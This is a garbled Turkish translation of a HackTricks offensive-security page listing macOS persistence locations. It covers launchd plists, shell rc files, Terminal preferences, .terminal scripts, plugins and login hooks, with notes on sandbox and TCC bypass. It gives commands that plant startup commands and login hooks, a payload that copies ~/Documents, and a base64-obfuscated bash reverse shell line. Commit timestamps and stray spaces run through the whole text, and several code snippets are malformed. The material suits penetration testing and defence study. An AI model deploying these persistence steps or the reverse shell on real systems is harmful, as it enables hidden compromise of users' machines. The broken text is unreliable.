2024-02-10 18:14:16 +00:00
# macOS Otomatik Başlatma
2023-06-01 21:09:46 +00:00
< details >
2024-07-17 18:36:54 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan ileri seviyeye öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-05-05 22:43:52 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-07-17 18:36:54 +00:00
* **Şirketinizi HackTricks'te reklamı nı zı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-05-05 22:43:52 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-07-17 18:36:54 +00:00
* **💬 [**Discord grubumuza** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'da **takip edin** .
* **Hacking püf noktaları nı zı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-17 18:36:54 +00:00
Bu bölüm, [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ) blog serisine dayanmaktadı r, amacı **Daha Fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ı n en son sürümü (13.4) ile hala çalı şan **hangi tekniklerin** olduğunu belirtmek ve **gereken izinleri** belirtmektir.
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
## Kum Havuzu Atlama
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-07-17 18:36:54 +00:00
Burada, **kum havuzu atlaması ** için yararlı başlatma konumları bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygı n** bir **eylemi bekleyerek** , belirlenmiş bir **zaman miktarı ** veya genellikle bir kum havuzundan **kök izinlere ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** sağlar.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-07-17 18:36:54 +00:00
* Kum havuzu atlaması için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC Atlama: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-07-17 18:36:54 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
{% hint style="success" %}
İlginç bir gerçek olarak, ** `launchd` **'nin, başlatması gereken diğer iyi bilinen hizmetleri içeren bir Mach-o bölümü olan `__Text.__config` içinde gömülü bir özellik listesi vardı r. Ayrı ca, bu hizmetler `RequireSuccess` , `RequireRun` ve `RebootOnSuccess` içerebilir ki bu da onları n çalı ştı rı lması ve başarı lı bir şekilde tamamlanması gerektiği anlamı na gelir.
Tabii ki, kod imzalaması nedeniyle değiştirilemez.
{% endhint %}
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
**`launchd`**, başlangı çta OX S çekirdeği tarafı ndan çalı ştı rı lan **ilk işlem** ve kapanı rken sonuncusudur. Her zaman **PID 1** 'e sahip olmalı dı r. Bu işlem, **ASEP** **plistlerinde** belirtilen yapı landı rmaları **okuyacak ve yürütecek** :
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* `/Library/LaunchAgents` : Yönetici tarafı ndan yüklenen kullanı cı başı na ajanlar
2024-07-17 18:36:54 +00:00
* `/Library/LaunchDaemons` : Yönetici tarafı ndan yüklenen sistem genelindeki daemonlar
2024-02-13 00:51:21 +00:00
* `/System/Library/LaunchAgents` : Apple tarafı ndan sağlanan kullanı cı başı na ajanlar.
2024-07-17 18:36:54 +00:00
* `/System/Library/LaunchDaemons` : Apple tarafı ndan sağlanan sistem genelindeki daemonlar.
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Bir kullanı cı oturum açtı ğı nda, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumları ndaki plist'ler **oturum açan kullanı cı nı n izinleriyle** başlatı lı r.
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
**Ajanlar ve daemonlar arası ndaki temel fark, ajanları n kullanı cı oturum açtı ğı nda yüklenmesi ve daemonları n sistem başlatı ldı ğı nda yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanı cı nı n sisteme erişmeden önce çalı ştı rı lması gerektiği hizmetler vardı r). Ayrı ca ajanlar GUI kullanabilirken, daemonlar arka planda çalı şmalı dı r.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-07-17 18:36:54 +00:00
**Kullanı cı oturum açmadan önce bir ajanı n çalı ştı rı lması gereken durumlar** bulunmaktadı r, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açı lı rken destekleyici teknoloji sağlamak için kullanı şlı dı r. Bunlar ayrı ca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) bakı n).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-07-17 18:36:54 +00:00
Yeni Daemon'lar veya Ajanlar yapı landı rma dosyaları **bir sonraki yeniden başlatmadan sonra yüklenecek veya** `launchctl load <hedef.plist>` kullanı larak yüklenebilir. **Ayrı ca, .plist uzantı sı na sahip olmayan dosyaları n** `launchctl -F <dosya>` ile yüklenebilmesi de mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile **yüklemenin geri alı nması ** da mümkündür (bu işaret ettiği işlem sonlandı rı lacaktı r),
2023-06-01 21:09:46 +00:00
2024-07-17 18:36:54 +00:00
Bir **Ajanı n** veya **Daemonun** **çalı şması nı engelleyen** bir şeyin (örneğin, bir geçersiz kı lma) olmadı ğı ndan emin olmak için şunu çalı ştı rı n: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Mevcut kullanı cı tarafı ndan yüklenen tüm ajanları ve daemonları listele:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-07-17 18:36:54 +00:00
Eğer bir plist bir kullanı cı ya aitse, hatta bir daemon sistem genelindeki klasörlerdeyse, **görev kullanı cı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrı calı k yükseltme saldı rı ları nı önleyebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-07-17 18:36:54 +00:00
#### launchd Hakkı nda Daha Fazla Bilgi
**`launchd`**, **çekirdekten** başlatı lan **ilk** kullanı cı modu işlemidir. İşlem başlatması **başarı lı ** olmalı ve **çı kamaz veya çökmeme**lidir. Bazı **öldürme sinyallerine** karşı bile **korunmuştur** .
`launchd` 'nin yapacağı ilk şeylerden biri tüm **daemonları başlatmaktı r** :
* **Zaman tabanlı daemonlar**:
* atd (`com.apple.atrun.plist`): `StartInterval` değeri 30 dakikadı r
* crond (`com.apple.systemstats.daily.plist`): Saat 00:15'te başlamak için `StartCalendarInterval` değerine sahiptir
* **Ağ daemonları **:
* `org.cups.cups-lpd` : TCP'de dinler (`SockType: stream`) ve `SockServiceName: printer`
*   SockServiceName ya bir bağlantı noktası olmalı ya da `/etc/services` dosyası ndaki bir hizmet olmalı dı r
* `com.apple.xscertd.plist` : Port 1640'ta TCP üzerinde dinler
* **Yol daemonları **, belirtilen yol değiştiğinde yürütülenler:
* `com.apple.postfix.master` : `/etc/postfix/aliases` yolunu kontrol eder
* **IOKit bildirim daemonları **:
* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Mach port**:
* `com.apple.xscertd-helper.plist` : `MachServices` girişinde `com.apple.xscertd.helper` adı nı belirtir
* **UserEventAgent**:
* Bu öncekinden farklı dı r. Belirli bir olaya yanı t olarak uygulamaları başlatmak için launchd'yi kullanı r. Ancak bu durumda, ana işlem `launchd` değil `/usr/libexec/UserEventAgent` dir. Her bir eklenti, başlatı cı sı nı `XPCEventModuleInitializer` anahtarı nda veya eski eklentiler için `Info.plist` dosyası nı n `CFPluginFactories` sözlüğünde `FB86416D-6164-2070-726F-70735C216EC0` anahtarı altı nda belirtir.
### Kabuk Başlangı ç Dosyaları
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Açı klama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC Atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatma özellikli bir uygulama bulmanı z gerekmektedir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-07-17 18:36:54 +00:00
* Tetikleyici: zsh ile bir terminal aç
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-07-17 18:36:54 +00:00
* Tetikleyici: zsh ile bir terminal aç
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-07-17 18:36:54 +00:00
* Tetikleyici: zsh ile bir terminalden çı k
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-07-17 18:36:54 +00:00
* Tetikleyici: zsh ile bir terminalden çı k
* Kök izni gereklidir
2024-02-13 00:51:21 +00:00
* Muhtemelen daha fazlası : ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-07-17 18:36:54 +00:00
* Tetikleyici: bash ile bir terminal aç
2024-02-10 18:14:16 +00:00
* `/etc/profile` (çalı şmadı )
* `~/.profile` (çalı şmadı )
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-07-17 18:36:54 +00:00
* Tetikleyici: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alı nı r: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
`zsh` veya `bash` gibi bir kabuk ortamı başlatı ldı ğı nda **belirli başlangı ç dosyaları çalı ştı rı lı r** . macOS şu anda varsayı lan kabuk olarak `/bin/zsh` 'yi kullanmaktadı r. Bu kabuk, Terminal uygulaması başlatı ldı ğı nda veya bir cihaza SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrı ca `bash` ve `sh` de bulunsa da kullanı lmak için açı kça çağrı lması gerekir.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Okuyabileceğimiz zsh man sayfası olan ** `man zsh` ** uzun başlangı ç dosyaları açı klaması na sahiptir.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-10 18:14:16 +00:00
### Yeniden Açı lan Uygulamalar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Belirtilen sömürüyü yapı landı rmak ve oturumu kapatı p açmak veya hatta yeniden başlatmak, uygulamayı çalı ştı rmam için işe yaramadı . (Uygulama çalı ştı rı lmı yordu, belki de bu eylemler gerçekleştirilirken uygulamanı n çalı şı yor olması gerekiyor)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-05-05 22:43:52 +00:00
* **Tetikleyici**: Uygulamaları yeniden açma işlemi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Yeniden açı lacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` içinde bulunmaktadı r.
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
Bu nedenle, yeniden açı lacak uygulamalar arası na kendi uygulamanı zı eklemek için sadece **uygulamanı zı listeye eklemeniz yeterlidir** .
2023-09-28 20:05:35 +00:00
2024-07-17 18:36:54 +00:00
UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-05-05 22:43:52 +00:00
**Bu listede bir uygulama eklemek için** şunları kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 18:14:16 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
### Terminal Tercihleri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı kullanı r
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Terminalı Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
**`~/Library/Preferences`** içerisinde, Kullanı cı Tercihleri Uygulamaları nda kullanı cı nı n tercihleri saklanı r. Bu tercihlerden bazı ları , **diğer uygulamalar/skriptleri çalı ştı rmak** için bir yapı landı rma tutabilir.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Örneğin, Terminal Başlangı çta bir komutu çalı ştı rabilir:
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
< figure > < img src = "../.gitbook/assets/image (1148).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-05-05 22:43:52 +00:00
Bu yapı landı rma, dosyada ** `~/Library/Preferences/com.apple.Terminal.plist` ** şu şekilde yansı tı lı r:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 18:14:16 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-07-17 18:36:54 +00:00
Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazı lı rsa, ** `open` ** işlevi kullanı larak **terminal açı labilir ve o komut çalı ştı rı labilir** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bunu terminalden şu şekilde ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-02-13 00:51:21 +00:00
### Terminal Betikleri / Diğer dosya uzantı ları
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-17 18:36:54 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı sağlamak için kullanı lı r
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* **Herhangi bir yer**
2024-07-17 18:36:54 +00:00
* **Tetikleyici**: Terminal Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-07-17 18:36:54 +00:00
Eğer bir [**`.terminal`** betiği ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) oluşturursanı z ve açarsanı z, **Terminal uygulaması ** otomatik olarak çağrı lacak ve içinde belirtilen komutları çalı ştı rmak için kullanı lacaktı r. Eğer Terminal uygulaması nı n özel ayrı calı kları varsa (örneğin TCC gibi), komutunuz bu özel ayrı calı klarla çalı ştı rı lacaktı r.
2023-10-01 18:04:16 +00:00
2024-05-05 22:43:52 +00:00
Deneyin:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-10 18:14:16 +00:00
### Ses Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Açı klama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-29 21:18:23 +00:00
* Bazı ek TCC erişimine sahip olabilirsiniz
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-05-05 22:43:52 +00:00
* Kök erişimi gereklidir
2024-07-17 18:36:54 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-05-05 22:43:52 +00:00
* Kök erişimi gereklidir
2024-07-17 18:36:54 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-07-17 18:36:54 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-05-05 22:43:52 +00:00
* Kök erişimi gereklidir
2024-07-17 18:36:54 +00:00
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatı n
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Önceki açı klamalara göre **bazı ses eklentilerini derleyip** yüklemek mümkündür.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
### QuickLook Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-29 21:18:23 +00:00
* Bazı ek TCC erişimine sahip olabilirsiniz
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
QuickLook eklentileri, bir dosyanı n önizlemesini tetiklediğinizde çalı ştı rı labilir (Finder'da dosya seçiliyken boşluk çubuğuna bası n) ve o dosya türünü destekleyen bir **eklenti yüklü** olduğunda çalı ştı rı labilir.
2023-09-28 15:09:34 +00:00
2024-07-17 18:36:54 +00:00
Kendi QuickLook eklentinizi derleyip, onu yüklemek için önceki konumlardan birine yerleştirebilir ve ardı ndan desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### ~~Giriş/Çı kı ş Kancaları ~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-07-17 18:36:54 +00:00
Bu benim için çalı şmadı , ne kullanı cı GirişKancası ne de kök Çı kı şKancası ile.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmelisiniz
2024-07-17 18:36:54 +00:00
* `~/Library/Preferences/com.apple.loginwindow.plist` içinde bulunur
2023-09-28 15:09:34 +00:00
2024-05-05 22:43:52 +00:00
Eskimiş olsalar da, bir kullanı cı oturum açtı ğı nda komutları yürütmek için kullanı labilirler.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu ayar `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 18:14:16 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Silmek için:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-07-17 18:36:54 +00:00
Root kullanı cı sı ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` ** içinde saklanı r.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
## Koşullu Kum Sandı ğı Atlatma
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-07-17 18:36:54 +00:00
